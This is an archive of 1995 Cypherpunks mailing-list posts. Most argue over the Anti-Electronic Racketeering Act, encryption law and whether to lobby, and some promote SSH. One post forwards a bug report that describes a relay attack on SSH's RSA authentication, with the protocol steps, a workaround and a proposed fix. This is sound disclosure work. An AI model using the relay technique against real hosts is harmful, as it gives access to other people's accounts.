Message-ID: <Pine.SUN.3.91.950713150252.17575B-100000@crl8.crl.com>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 13 Jul 1995, Vladimir Z. Nuri wrote:

> Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
> citizens to check out radar guns from the local police department to 
> catch speeders in their community. The radar guns are combined with 
> cameras in order to instantaneously capture the car, license number, and the 
> rate of speed. The citizens can check out the units for a week at a time. The 
> police have stated that they, at this time, will use the data to issue 
> warning letters to the violaters.

Great!  I'll take a hundred, please.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From jlasser at rwd.goucher.edu  Thu Jul 13 15:06:53 1995
From: jlasser at rwd.goucher.edu (Jon Lasser)
Date: Thu, 13 Jul 95 15:06:53 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SUN.3.91.950713163526.25718G-100000@escape.com>
Message-ID: <Pine.SUN.3.91.950713175807.25319A-100000@rwd.goucher.edu>


On Thu, 13 Jul 1995, Ray Arachelian wrote:

> So, what countries are left free of encryption regulations? (English 
> speaking preffered, with affordable net access.)  Time to see about 
> getting a new passport...

How about "not respecting international copyright law, and not having 
extradition treaties with the US" ... set up a data haven, we now know 
why we need it soon... charge by the Kbyte, automate the billing, and relax.

Anybody seriously interested? 
Jon
------------------------------------------------------------------------------
Jon Lasser                <jlasser at rwd.goucher.edu>            (410) 494-3253 
          Visit my home page at http://www.goucher.edu/~jlasser/
  You have a friend at the NSA: Big Brother is watching. Finger for PGP key.






From cman at communities.com  Thu Jul 13 15:07:17 1995
From: cman at communities.com (Douglas Barnes)
Date: Thu, 13 Jul 95 15:07:17 PDT
Subject: co-sponsors
Message-ID: <v02120d1cac2aaebb8090@[199.2.22.120]>


>I searched Thomas and couldn't find any evidence of co-sponsors to the
>Senate bill. Am I wrong here?
>
>.pm

According to Shari Steele:

> Fortunately, the bill does not have a very promising future.  The bill has
> no co-sponsors.  It was immediately referred to the Committee on the
> Judiciary, where it currently sits.  LEXIS's bill tracking report only
> gives it a 10% chance of passing out of the committee.







From hayden at krypton.mankato.msus.edu  Thu Jul 13 15:10:28 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 15:10:28 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <v02120d19ac2aa1f17f4f@[199.2.22.120]>
Message-ID: <Pine.ULT.3.91.950713170704.14454B-100000@krypton.mankato.msus.edu>


On Thu, 13 Jul 1995, Douglas Barnes wrote:

> Since the Anti-Electronic Racketeering Act of 1995 might as well
> be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
> Tim throw in the towel already, when the bill hasn't even made it
> through committee yet.

I don't think Tim threw in the towell on this bill, but has come to 
realize that the overall war on privacy cannot be won by concentrating on 
the individual battles.  We've ALL got to take a deep breath and come up 
with a different plan of attack; a plan that the TLAs and spooks will be 
unable to defend against.  Right now, as long as we're kept busy with 
individual bills and initiatives, they have us just where they want us.


____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From ylo at cs.hut.fi  Thu Jul 13 15:15:12 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Thu, 13 Jul 95 15:15:12 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <ac2aab2c0b021004b5fe@[205.199.118.202]>
Message-ID: <199507132215.BAA17628@shadows.cs.hut.fi>


One motivation behind SSH is trying to make it a de-facto standard
replacement for rlogin and rsh.  That would make it very hard to
replace.  It provides important benefits in authentication and
protection against intruders - and as a side effect it provides hard
to break encryption for anyone.  Plus, it was created and is primarily
distributed *outside* the United States, in a country where none of
the algorithms are patented.  It can thus be openly available for
anyone, and is not limited by US export restrictions.  It currently
includes two algorithms that I know to be patented: RSA and IDEA.
IDEA can be eliminated from it without breaking compability if it
turns out necessary (and, several sources say that non-commercial use
of IDEA is permitted).  RSA is not patented anywhere but in the US,
and there it may be possible for most people to get away by using
RSAREF.

There is more information at http://www.cs.hut.fi/ssh.  The RFC
describes the protocol.

The current list of distribution sites includes:
   ftp.funet.fi:/pub/unix/security
   ftp.unit.no:/pub/unix/security 
   ftp.net.ohio-state.edu:/pub/security/ssh 
   ftp.kiae.su:/unix/crypto 
   ftp.cs.hut.fi/pub/ssh 

More sites are welcome.

    Tatu Ylonen <ylo at cs.hut.fi>





From lmccarth at cs.umass.edu  Thu Jul 13 15:17:44 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 15:17:44 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <199507132116.VAA149322@smtp-gw01.ny.us.ibm.net>
Message-ID: <9507132217.AA10568@cs.umass.edu>


I wrote:
[some dense, ambiguous prose]

Jim writes:
> Pardon me if I misunderstood your point.  I haven't read the whole
> bill, but I read the "regardless" phrase with a different emphasis. 
> In short, that language appears to mean that one could be pounded with
> RICO for uploading crypto software even if the crypto is EXPORTABLE.
> 
> The part about subsequent instances of actual access to non-exportable
> crypto by foreigners, etc. appears to address a different situation --
> the situation where the crypto is non-exportable.
[...]

That's exactly my reading of both parts, more lucidly expressed, so I
guess my point wasn't clear before :)

> It is unclear, not having read the entire bill, whether the onerous
> provision in the case of non-exportable crypto would apply in the case
> of exportable crypto.  

Right -- that's the possible ambiguity I was trying to bring out. 

> This email is academic speculation.  This email is not legal advice,
> is not a consultation with counsel, and does not create an attorney-
> client relationship.  (As a condition of entering into an attorney-
> client relationship, I require a formal, ink-signed fee agreement.)

(Ditto, except that I require some years of law school too ;)

-Futplex <futplex at pseudonym.com>




From an215712 at anon.penet.fi  Thu Jul 13 15:26:09 1995
From: an215712 at anon.penet.fi (an215712 at anon.penet.fi)
Date: Thu, 13 Jul 95 15:26:09 PDT
Subject: LD tentacle?
Message-ID: <9507132146.AA04231@anon.penet.fi>


has anyone heard of John Bass? based on this recent message, in which he
melodramatically tries to stir the shit on a RMIUG list (rocky mountain 
internet user group) I wonder if L.D. is in fact a John Bass tentacle, or
vice versa...


From: jbass at dmsd.com (John L. Bass)
To: rmiug-discuss at xor.com
Subject: The legacy of Ted Smith's, Gary Anderson's, and Mary Newell's
    actions.


        The legacy of Ted Smith's, Gary Anderson's, Mary Newell's, and
possibly Scott Crawford's (since it was difficult to figure out which side
he was on) un-ethical postings combined with inaction of the elected and
natural leaders of RMIUG will reflect poorly on the group and it's leaders
for years to come.  This legacy includes the inaction of the entire readership
of rmiug-discuss as well (with the exception of Gabe who is a guest reader
from the east coast).

        Leadership has a number of grave responsibilities and difficult
choices - the foremost of which is the preservation of ethical and moral
behavior in the group - to protect the reputation of the BOTH group and it's
elected and natural leadership. In some instances, none of the available
options may be popular - but in-action is by far a greater failing.

        I deeply regret the events which have unfolded over the last
two weeks.  Making 10 of 31 posts in a group of 11 posters regarding
the MS topic of 6/29 should not be a capital offense. Nor should
questioning a board members assertions about the use of the list
in the face of historical usage. Nor should questioning the tollarance
of highly unethical private and public attacks upon posters. On the
29th I heeded Aleks request after reading it, and made a single additional
post. As Gabe noted, we were already winding the debate down. Unfortunately,
the several 1-2 hour delivery time of rmiug-discuss delayed Alek's comments.
I'm am deeply disappointed that the lessons learned from the last two weeks
have come at a great cost to all.  I am more concerned the examples set here
by Ted Smith, Gary Anderson, and  Mary Newell may greatly limit discussion
and participation in RMIUG.

        Each of you *IS* RMIUG. As a group your ethical, intellectual,
and moral guidance and leadership can not be ignored in difficult or
unpopular times.  Many have choosen in the last 3 days to vote with
their feet out of disgust. While they can distance themselves from the
unpleasant events this way, it is just another form of failing to take
more positive steps - maybe out of fear of being targeted themselves.

        I have many questions about why rmiug at nearly 700 people was
unable to maintain a higher level of content (and traffic) as a tool to
augment the learning curve of the many new comers to the internet, expand
the horizons of all, and form the dialog to bind the readership into
a effective functioning group. A highly sucessful topic in a large
diverse group this size will only have the interest of 10-30% of the
readership, just as the meetings do not benefit and attract the entire
group each month. A topic that produces content from 7 posters over
26 messages should not create a fire. A good highly successful topic
which really involves the readership, might draw comment from 1% of
the readership, some 60-70 people, and include maybe a hundred or
two posts. And several at the same time, even more.  Expecting the
ACCEPTABLE volume of the list to remain under 3-4 per day is a great
burden on the usefulness of this list.

        One difficultly has been that some readers use ISP's and BBS's
with extremely small quota's and read their mailbox's infrequently.
They have been extremely frustrated at their mbox/quota overflowing
from traffic around 50-100KB/wk. For others it has been the relatively
poor user interface of some mail readers which limits their ability
to select the articles they wish to read.  It is hard sometimes to
understand the small quota's in the face of disk space costing less
than $.30-.50/MB.  Maybe one project of this group should be to help
find/provide entry level members better access and tools at a nominal
or free cost.

        Dispite Ted Smith's slander and assertions to the contrary,
I bring some objectiveness and experience to issues many would prefer
to ignore.  I loathe the current PC vogue to avoid conflict at all costs
- - often with thick sarcasm and an unwillingness to listen to conflicting
view points.  I am direct, up front, listen well, accept  "constructive
criticism", and enjoy reasoned civil debate. I have the highest respect
for someone who can present/defend their views with a reasoned arguement
based upon fact and experience, and in the face of equally reasoned
arguements also based upon fact and experience, augment/change their
position or possibly agree to disagree when no common ground exists.

        I've been active some dozen times as the leading exec member of both
professional and civic orgs. I last ran a SF Bay area unix users group
known as UNIOPS/Silicon Valley Net(SVNet) for over 3 years almost single
handledly - including printing and addressing as much as 2000-4000 meeting
announcements for bulk mail each month.  With current and early breaking
topics and speakers I was often capacity limited by the 800 seat room ...
often standing room only.  When I moved it took me a year, and going dark
twice, before I could find a team willing to take over the burden and
continue what I had started.  Before that I ran two different groups with
semi-annual international Unix conferences with between 300 and 1000
attendees as "West Coast Unix Users Group" at SRI International
(formerly Standford Research Institute) and as UNIOPS (before helping
found /USR/GROUP now known as UNIFORM). I also spent two years on the
/usr/group UNIX standards committe as the "Extentions Sub-committe Chairman".
 Both concurrent and prior to that I did my duty as board member of several
Square Dance Clubs and Campus orgs. My public life has been second to my
family for the last 7 years.

        I suspect in part, the hostility here results from a previous
unpopular dispute where I called for the resignation of Guy Cook after
having CSN drop all the mail for dmsd.com on the floor for many weeks,
and then publicly deny that CSN had done so (as well as a number of
other management failings at CSN). Guy and CSN have come a long way
in the year and a half since, to become probably the best ISP in the
state. The road was rocky, but all have learned from the experience,
and I hope moved forward, including I.

John L. Bass

FYI: rmiug-discuss volume by day from 5/18 to present.


30 |-------+---------+---------+---------+----#----+------
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
25 |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
20 |-------+---------+---------+---------+---------+#-----
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
15 |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         |     
   |       |         |         |         |         | #   
   |       |         |         |         |         |     
10 |-------+---------+---------+---------+---------+------
   |       #         |         |         |         |  #  
   |       |         |         |         |         |     
   |       |         |         |         |     #   |   # 
   |       |         |         #     #   |         |     
 5 |       |         |         |         |         #     
   |      #|# #      |         |#        |         |     
   | #   # |      ## |  #      |         |         |     #
   |       |   #     |#  ##    |      #  |   #    #|     
   |# ##   |         | #       |   #   # | #    #  |    #
 0 +----#--+-#--##--##-----####+-##-#---###-#----#-+------
    112222222222330000000001111111111222222222230000000001
    890123456789011234567890123456789012345678901234567890
    May           June                          July

    0000 0000 00  00     00    00  0 000   0 0300 00210000 Group `#'
    1211 3494 42  33  21322    64  1 621   1 2071 25029713 Volume


  *** You received this message because you are on an RMIUG email list   ***
  *** Send email to rmiug at rmiug.org for RMIUG & subscription information ***


----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From roy at cybrspc.mn.org  Thu Jul 13 15:26:31 1995
From: roy at cybrspc.mn.org (Roy M. Silvernail)
Date: Thu, 13 Jul 95 15:26:31 PDT
Subject: The Anti-Racketeering fiasco meets Mozilla
Message-ID: <0gDoBDvcwapi@cybrspc.mn.org>


-----BEGIN PGP SIGNED MESSAGE-----

I was just talking with a friend, and had the most vile thought.

Mallet works part time for the Justice Department.  His job is
entrapment of random individuals.  He has a Web server running the
Netscape Commerce Server.

When a potential victim is lured into looking at Mallet's home page with
Mozilla, the poor sap is rewarded by a server-side push of some small
piece of contraband software.  Many victims will simply move off the
page, forgetting that the document is now in their Netscape cache.
They're toast.  Others might clear their cache, but the server still
shows that the file was sent.  They're now guilty of both receiving and
concealing contraband.  And maybe destruction of evidence and/or
interfering with law enforcement.

I'm only raving like this because the whole Anti-Racketeering bill has
me both scared and really pissed off.
- -- 
           Roy M. Silvernail     [ ]      roy at cybrspc.mn.org
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                Key available from pubkey at cybrspc.mn.org

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAWbGBvikii9febJAQExKgP9HApgUEHkIaABuiQ/Lx4jfcfG6WUT7r6U
TgiQ83+yvYBt2EeWIlF3uqUN4PEO8cLYsDjthpesI8nDV2HpjTCbiZ0g+zGJlOmi
ps8vfRRK0A8elyCkTy2b4NlwR4Kre6iqYJfr9+ZA1rW019ZfvullZw9TAPDrhfLj
cP780NHfhn4=
=sRJY
-----END PGP SIGNATURE-----





From ylo at cs.hut.fi  Thu Jul 13 15:42:14 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Thu, 13 Jul 95 15:42:14 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <Pine.ULT.3.91.950713140141.8587C-100000@krypton.mankato.msus.edu>
Message-ID: <199507132241.BAA18366@shadows.cs.hut.fi>


> massive use of cryptography started.  This means, and I advocated this 
> from the day I entered this forum, that programs such as PGP need to be 
> redesigned so that the a user friendly . . . so user friendly that any 
> Joe Moron can figure out not only how to use them, but also how it helps 
> them and how it is "good" for them.  This means that we need simplified 
> key management easy enough for the point-and-click masses to utilize.  
> This means that common mailing programs, From Elm and Pine to AOLs and 
> Computer$erve's mailers need to have TRANSPARENT signing of mail messages 
> and near-transparent encryption of messages.  This means that we need to 

I agree.  If you forgive me for again taking the opportunity to
advertise SSH, one goal was to make it as simple to use as possible.
To get all the benefits of encryption and most benefits of improved
authentication, the users need to know absolutely nothing in addition
to what they need to know with rlogin.  Plus, there are many
convenient features, such as automatic X11 forwarding (encrypted;
DISPLAY is set to point to a fake display), command exit status is
returned properly, etc.

Of course, rlogin and rsh are much less important applications for the
general public than e-mail.  I think the currently the most critical
problem areas are exactly e-mail and interactive messaging programs
(like irc, rwrite etc).

Most mail (at least on the internet) is currently propagated
automatically from the sending host to the receiving host.  A fairly
simple, 90% of the benefit at 10% of the effort solution could be to
have sendmail (or equivalent) encrypt all communications that go
through the network.  This would make electronic mass surveillance and
scanning difficult.  It is much more expensive (and dangerous
publicity-wise) to read messages by breaking into a computer system.
This kind of system could be installed without the user even being
aware that something like that is in use.  It is not a perfect
solution - some sites will not support encryption, and some messages
might get sent without it.  Still, the bulk of the messages would be
encrypted, and any really sensitive data could be additionally PGP (or
similar) encrypted.  The procotol and implementation would have to be
well made and established as internet standards.

    Tatu Ylonen <ylo at cs.hut.fi>

For more information about SSH, see http://www.cs.hut.fi/ssh.





From tcmay at sensemedia.net  Thu Jul 13 15:54:08 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 15:54:08 PDT
Subject: Fight, or Roll Over?
Message-ID: <ac2aef1700021004f93e@[205.199.118.202]>


At 10:41 AM 7/13/95, Douglas Barnes wrote:

>Since the Anti-Electronic Racketeering Act of 1995 might as well
>be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
>Tim throw in the towel already, when the bill hasn't even made it
>through committee yet.

I'd hardly call my view "throwing in the towel." What I said clearly enough
was that the Washingtonians can throw out repressive legislation much
faster than we can--and I speak in terms of "we" as being the EFF, EPIC,
NRA, ACLU, etc., and _not_ the Cyherpunks, who have no lobbying activities
to speak of.


>Go underground? Well, as I read it, this bill basically makes
>cypherpunks a "corrupt organization", subject to the full
>impact of the RICO statutes. With the passage of this bill, we

Indeed, this law makes the Cypherpunks group a co-conspirator. (In the same
way that the recent Omnibus Anti-Terrorism (or whatever it's callled)
criminalizes groups which support This Year's Enemies. (Like the War with
Oceania--or was it Eurasia?--the friend of today was yesterday's criminal
organization. For example, the Omnibus bill makes support of anti-PLO
groups a crime, for foreigners, as the PLO is now, this year, our "Partner
for Peace.")

>will have the same status in the US as the neo-Nazis have in
>Germany, and will have to adopt similar communications and
>organization techniques. Who knows, maybe this is the best thing
>that could happen, although I'm real curious about who will
>back off to protect their ass-ets and who will actually keep
>on chugging towards crypto anarchy.
>
>In the short term, I've renewed or started memberships in the
>organizations that are likely to fight this -- but I'm also
>fired up to get more easy-to-use software out there, and
>do what I can to help build infrastructure that can resist this
>sort of nonsense.

This is all I'm suggesting, that yet another round of trying to persuade
Congress people is a waste, and that the _traditional_ focus on technology
is a better use of our time and effort.

Others are welcome to do as they wish. I'm just expressing my view that
Washington can spin out legislation faster than we can respond....they are,
after all, using our tax dollars to generate new laws, and have
intelligence agencies and law enforcement agencies on their side with
armies of lawyers and lobbyists to help. Multi-billion dollar budgets are
also at stake.

The lobbyists for preserving liberty are few and far between.

Some would say this means Cypherpunks should step into the fray and become
a lobbying group. I don't see us as having the structure or organization to
become such a group. Those who wish to should probably form a real group to
do this, with bylaws and elected officials.

Anarchies are great, but there's no way an anarchy can have a "spokesman,"
or a budget for travel and lobbying, or a hundred other things that a
lobbying group needs. Cypherpunks--this list--is just not in a position to
be this group.


--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From shamrock at netcom.com  Thu Jul 13 16:01:40 1995
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 13 Jul 95 16:01:40 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507132259.SAA03339@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article <199507132116.VAA149322 at smtp-gw01.ny.us.ibm.net>,
jfmesq at ibm.net (James F. Marshall) wrote:

> I haven't read the whole
>bill, but I read the "regardless" phrase with a different emphasis. 
>In short, that language appears to mean that one could be pounded with
>RICO for uploading crypto software even if the crypto is EXPORTABLE.

The government doesn't want us to use any crypto that takes them an
appreciable ammount of time to crack. It seems inevitable to me that such
crypto will soon be outlawed. The same goes for anonymous remailers. It is
only a matter of (very little) time. Yes, Black Unicorn is right. We need
stealth encryption. Unfortunately even that won't help as much as one
might think, because it can only be used by tight conspirators who are
willing the to take the risk to be locked up in a concentration camp, I
mean jail, for the rest of their lives. Crypto for the masses is about to
fade away into history, before it ever really caught on.

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAWlEyoZzwIn1bdtAQFIYwF+JKboVVw7qm+Ejyj0ecTp1EbqWL2YCAlb
tL3RLDWA5VLcKakMh2nI3oZns0SLknGw
=+fvE
-----END PGP SIGNATURE-----





From ylo at cs.hut.fi  Thu Jul 13 16:03:36 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Thu, 13 Jul 95 16:03:36 PDT
Subject: Ssh security hole?
In-Reply-To: <9507132008.AA27925@ima.pa.dec.com.pa.dec.com>
Message-ID: <199507132303.CAA18383@shadows.cs.hut.fi>


(I'll forward your message to a couple of lists where it might be
of interest; the original message is at end.)

I think you are right in your analysis.  There is indeed a problem
with RSA authentication.  Basically what this means is that if you log
into a corrupt host, that host can at the same time log into another
host with your account (by fooling you to answer to the request)
provided that you use the same RSA identity for both hosts.

A workaround is to use a different identity for each host you use.
The default identity can be specified on a per-host basis in the
configuration file, or by -i options.

And, yes, I think the same problem might occur with client host
authentication.  Though, there you would still have to do IP-spoofing,
DNS spoofing or similar to get through (breaking RSA based host client
effectively reduces RhostsRSAAuthentication to conventional .rhosts
authentication).

The protocol will need to be changed somewhat because of this.  I'll
think about it tomorrow and let you say you opinion about it.

Thanks!

    Tatu Ylonen <ylo at cs.hut.fi>

Date: Thu, 13 Jul 1995 13:08:15 -0700
From: David Mazieres <mazieres at pa.dec.com>
To: ssh-bugs at cs.hut.fi
Cc: rtm at eecs.harvard.edu, dm at eecs.harvard.edu, tbl at eecs.harvard.edu
Subject: Ssh security hole?

I believe there is a serious problem with the RSA authentication
scheeme used in ssh, but then again I could be misreading the proposed
RFC.  Is the following really the case?

As I understand the protocol, here is what happens during SSH_AUTH_RSA
authentication.

Suppose the holder of SKu, is allowed access to account U on machine B
(which holds SKb).  Both PKu and PKb are widely known.  In addition,
machine B has a session key, PKs, which changes every hour.  When U on
machine A wants to log into machine B, here's what I think happens
based on my reading of the RFC:

A -> B: A

B -> A: (PKb, PKs, COOKIE)
	[A flags an error if PKb is not the stored value.]

A -> B: (COOKIE, {{Kab}_PKs}_PKb)
A -> B: {U}_Kab
A -> B: {PKu}_Kab
	[B aborts if SKu is not allowed access to account U.]

B -> A: {{N}_PKu}_Kab

A -> B: {{N}_MD5}_Kab (*)
	[B aborts if the MD5 hash is invalid.]

B -> A: access to acount U with all data encrypted by Kab.

The problem is, suppose U actually wanted to log into machine C, which
was maintained by an untrusted person.  The person maintaining C could
initiate a connection to B the minute U tried to log into C.  When
given a challenge {{N}_PKu}_Kbc, C could simply give this to A as the
challenge to respond to, and then forward the response to B.

To fix the problem, A must at the very least include B in the
response line marked (*).  I have reason to believe (after having just
seen a lecture on authentication), that you might even need to include
more.  A safe bet might be (but then again I am no expert):

A -> B: {(N, A, B, Kab)}_MD5

I think similar problems arise for the other authentication methods.

Other than that, though, I am really impressed by by ssh.  It's easy
to install and easy to use.  In fact, it is even more convenient to
use than standard rsh, because the X forwarding happens
automatically.

Thanks for such a great package!

David





From tcmay at sensemedia.net  Thu Jul 13 16:09:37 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 16:09:37 PDT
Subject: Fight, or Roll Over?
Message-ID: <ac2af3ed010210041c19@[205.199.118.202]>


At 10:10 PM 7/13/95, Robert A. Hayden wrote:
>On Thu, 13 Jul 1995, Douglas Barnes wrote:
>
>> Since the Anti-Electronic Racketeering Act of 1995 might as well
>> be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
>> Tim throw in the towel already, when the bill hasn't even made it
>> through committee yet.
>
>I don't think Tim threw in the towell on this bill, but has come to
>realize that the overall war on privacy cannot be won by concentrating on
>the individual battles.  We've ALL got to take a deep breath and come up
>with a different plan of attack; a plan that the TLAs and spooks will be
>unable to defend against.  Right now, as long as we're kept busy with
>individual bills and initiatives, they have us just where they want us.

Exactly!

By causing us to go into paroxysms of activity every time they throw a new
piece of legislation over the transom, we dissipate our efforts in more
promising areas.

There's a place for lobbying--and I'm even a member of the EFF. But
lobbying is best done by those with lobbying backgrounds, legal
backgrounds, and a penchant for fund-raising.

There was once talk, in April of '93, about the Washington, D.C.
Cypherpunks group adopting "lobbying" as their own special focus area, with
educational visits to Congressional aides and attendance at crypto-related
hearings. Nothing came of this, for whatever reasons.

Why do I mention this? Most Cypherpunks live far from Washington, and our
influence is minimal. Few can travel to D.C. on even an occasional basis,
etc. (Ironically, EFF is evacuating D.C. I won't get into what their
reasons might be, but certainly they will now have even less effect. I'll
say one thing: the leaders of EFF may have realized what a trap lobbying
can become, and have chosen to instead focus on other areas.)

Anyway, Cypherpunks is a worldwide, technological-oriented group. We can do
more by spreading technology and undermining repressive legislation than we
can by being just another ineffectual lobbying group.

As I said in another message, if folks want to do it, fine.
Organizationally and financially, we are not equipped for lobbying. No
budget, no leadership, no bylaws, no tax filings, no report writings,
nothing. (Some of these things are important for lobbying, some are less
so. The "leadership" part is pretty important: who could claim to "speak"
on behalf of Cypherpunks? Nobody.)

I suggest a different organization, a different mailing list, for this effort.

--Tim May


..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From cman at communities.com  Thu Jul 13 16:21:19 1995
From: cman at communities.com (Douglas Barnes)
Date: Thu, 13 Jul 95 16:21:19 PDT
Subject: Fight, or Roll Over?
Message-ID: <v02120d20ac2abc80bcca@[199.2.22.120]>


>At 10:41 AM 7/13/95, Douglas Barnes wrote:
>
>>Since the Anti-Electronic Racketeering Act of 1995 might as well
>>be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
>>Tim throw in the towel already, when the bill hasn't even made it
>>through committee yet.
>
>I'd hardly call my view "throwing in the towel." What I said clearly enough
>was that the Washingtonians can throw out repressive legislation much
>faster than we can--and I speak in terms of "we" as being the EFF, EPIC,
>NRA, ACLU, etc., and _not_ the Cyherpunks, who have no lobbying activities
>to speak of.
>

I'm not advocating that cypherpunks lobby -- we clearly don't have the
organization or the right image to be doing that. I _do_ think that it's
important to support the EFF, EPIC and ACLU who will almost certainly
be fighting this very important rearguard action while we try to get
_our_ act together. I'm not sure the NRA bears on this exact matter,
but I think it's high time one of the other three started doing "jack
booted thug"-type fundraising letters.

This means, for those not reading between the lines, doing something
more than online ranting and petition-signing, such as getting out the
checkbook and supporting those who are organized to fight these things,
and actually getting off the dime and doing things like writing letters,
sending telegrams, and otherwise harassing our elected beings through
media that they understand (since, clearly, they _don't_ understand
the Internet -- if they did, they wouldn't propose legislation like this.)

Yes, the "bad guys" can crank out unfriendly legislation faster than
the "good guys" can fight it, but since we are clearly not ready to offer
technological solutions this month, the "good guys" act as a valuable
brake on this current swing of the pendulum.








From ylo at cs.hut.fi  Thu Jul 13 16:26:45 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Thu, 13 Jul 95 16:26:45 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SUN.3.91.950713163526.25718G-100000@escape.com>
Message-ID: <199507132326.CAA18396@shadows.cs.hut.fi>


> So, what countries are left free of encryption regulations? (English 
> speaking preffered, with affordable net access.)  Time to see about 
> getting a new passport...

Finland, as far as I know, does not have any restrictions on
encryption, and has a friendly population.  Finnish is indecipherable
at first, but almost everybody can speak English (at least the younger
population).  There is a big shortage of competent computer and
electronics engineers.  Nokia Telecommunications (a major mobile phone
manufacturer) for example would need much more competent people than
they can get - not to mention the smaller companies.

Finland has excellent network connections - typical ftp rates from the
US are tens of kilobytes per second (except at peak hours).  There is
a lot of competition among the internet service provides.  About
$20/months gets you 28.8k dialup ppp (1-2 hours/day at that rate, I
think).  Another provider charges about 5 cents per minute.  A leased
64k line is around $100/month.

The climate is nice during the summer (15-25 Celsius typical), and
cold during the winter.

Taxes are outrageous though, so you really had better check that
first.  But, the taxes include things like medical insurance, pension
insurance, etc., and are thus not directly comparable.

And of course, we are now a member of the European Union, which
worries me a little on this front...

(Sorry, I just couldn't resist the temptation :-)

   Tatu





From hayden at krypton.mankato.msus.edu  Thu Jul 13 16:32:21 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 16:32:21 PDT
Subject: On a lighter note...
Message-ID: <Pine.ULT.3.91.950713183010.16887D-100000@krypton.mankato.msus.edu>


Well, for all those that are looking for something a little lighter after 
todays activity, the new version of the Geek Code (version 3.0) was 
released this morning.

You can find it via your favorite web browser at:
	http://krypton.mankato.msus.edu/~hayden/geek.html

Or finger me for info on how to get it in ASCII version.

Comments appreciated.  I know the revamped political sections aren't 
perfect, but they are a little better.

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From tcmay at sensemedia.net  Thu Jul 13 16:35:48 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 16:35:48 PDT
Subject: Fight, or Roll Over?
Message-ID: <ac2afc5802021004164a@[205.199.118.202]>


At 10:56 PM 7/13/95, Timothy C. May wrote:
>At 10:41 AM 7/13/95, Douglas Barnes wrote:
>
>>Since the Anti-Electronic Racketeering Act of 1995 might as well
>>be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
>>Tim throw in the towel already, when the bill hasn't even made it
>>through committee yet.
>
>I'd hardly call my view "throwing in the towel." What I said clearly enough
>was that the Washingtonians can throw out repressive legislation much
>faster than we can--and I speak in terms of "we" as being the EFF, EPIC,
                   ^

I meant to say, "...than we can respond to"


--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
